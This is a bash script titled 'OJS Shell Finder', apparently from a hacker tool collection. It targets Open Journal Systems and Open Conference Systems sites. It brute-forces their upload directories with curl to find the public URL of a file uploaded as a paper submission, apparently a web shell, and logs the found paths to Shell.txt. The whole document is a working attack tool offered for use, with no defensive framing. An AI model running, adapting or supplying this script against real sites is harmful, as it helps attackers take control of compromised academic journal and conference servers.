OJS Shell Finder (Forbidden path)

#!/bin/bash
# More tools: https://pastebin.com/u/Fadly31337
# Facebook: https://fb.me/val.1337

clear

ocs(){
        OcsWeb=$1
        OcsID=$2
        OcsFilename=$3
        for (( i = 0; i < 100; i++ )); do
            local SearchDir=$(curl -s -I "$OcsWeb/files/conferences/$i/schedConfs/")
            if [[ $SearchDir =~ "403 Forbidden" ]] || [[ $SearchDir =~ "200 OK" ]]; then
                for (( ii = 0; ii < 100; ii++ )); do
                    local SearchDirr=$(curl -s -I "$OcsWeb/files/conferences/$i/schedConfs/$ii/papers/$OcsID/")
                    if [[ $SearchDirr =~ "403 Forbidden" ]] || [[ $SearchDirr =~ "200 OK" ]]; then
                        printf "[+] FOUND : $i/schedConfs/$ii/papers/$OcsID/\n"
                        echo "$OcsWeb/files/conferences/$i/schedConfs/$ii/papers/$OcsID/" >> 403.txt
                        printf "[!] Searching shell with id [$OcsID] and name [$OcsFilename]\n"
                        local ScanShell=$(curl -s -I "$OcsWeb/files/conferences/$i/schedConfs/$ii/papers/$OcsID/submission/original/$OcsFilename")
                        if [[ $ScanShell =~ "200 OK" ]]; then
                            printf "[+] FOUND : $OcsWeb/files/conferences/$i/schedConfs/$ii/papers/$OcsID/submission/original/$OcsFilename\n"
                            echo "$OcsWeb/files/conferences/$i/schedConfs/$ii/papers/$OcsID/submission/original/$OcsFilename" >> Shell.txt
                        else
                            printf "[-] NOT FOUND\n"
                            printf "[!] You can Search it Manually\n"
                            exit 1
                        fi
                    fi
                done
            fi
        done
}
ojs(){
        OjsWeb=$1
        OjsID=$2
        OjsFilename=$3
        for (( i = 0; i < 200; i++ )); do
            local SearchDir=$(curl -s -I "$OjsWeb/files/journals/$i/articles/")
            if [[ $SearchDir =~ "403 Forbidden" ]] || [[ $SearchDir =~ "200 OK" ]]; then
                    local SearchDirr=$(curl -s -I "$OjsWeb/files/journals/$i/articles/$OjsID/")
                    if [[ $SearchDirr =~ "403 Forbidden" ]] || [[ $SearchDirr =~ "200 OK" ]]; then
                        printf "[+] FOUND : $i/articles/$OjsID/\n"
                        echo "$OjsWeb/files/journals/$i/articles/$OjsID/" >> Path.txt
                        printf "[!] Searching shell with id [$OjsID] and name [$OjsFilename]\n"
                        local ScanShell=$(curl -s -I "$OjsWeb/files/journals/$i/articles/$OjsID/submission/original/$OjsFilename")
                        if [[ $ScanShell =~ "200 OK" ]]; then
                            printf "[+] FOUND : $OjsWeb/files/journals/$i/articles/$OjsID/submission/original/$OjsFilename\n"
                            echo "$OjsWeb/files/journals/$i/articles/$OjsID/submission/original/$OjsFilename" >> Shell.txt
                            exit 1
                        else
                            printf "[-] NOT FOUND\n"
                            printf "[!] You can Search it Manually\n"
                            exit 1
                        fi
                    fi
            fi
        done

}

cek_cms(){
        local link=$1
        printf "[!] CMS : "
        checking=$(curl -s "$link" -L)
        if [[ $checking =~ "pkp.sfu.ca/ojs/" ]]; then
            printf "OJS\n"
            local ojsid=$2
            local ojsfile=$3
            printf "[!] Searching Directory\n"
            ojs $link $ojsid $ojsfile
        elif [[ $checking =~ "pkp.sfu.ca/ocs/" ]]; then
            printf "OCS\n"
            local ocsid=$2
            local ocsfile=$3
            printf "[!] Searching Directory\n"
            ocs $link $ocsid $ocsfile
        else
            printf "NOT OJS/OCS\n\n"
            exit 1
        fi
}

if [[ -z $3 ]]; then
    printf "For Use : ./$0 <http://target.com/[PATH]> <id> <filename>\n"
    exit 1
fi

id=$2
file=$3

for sites in $1; do
    printf "Scanning $sites\n"
    cek_cms $sites $id $file
done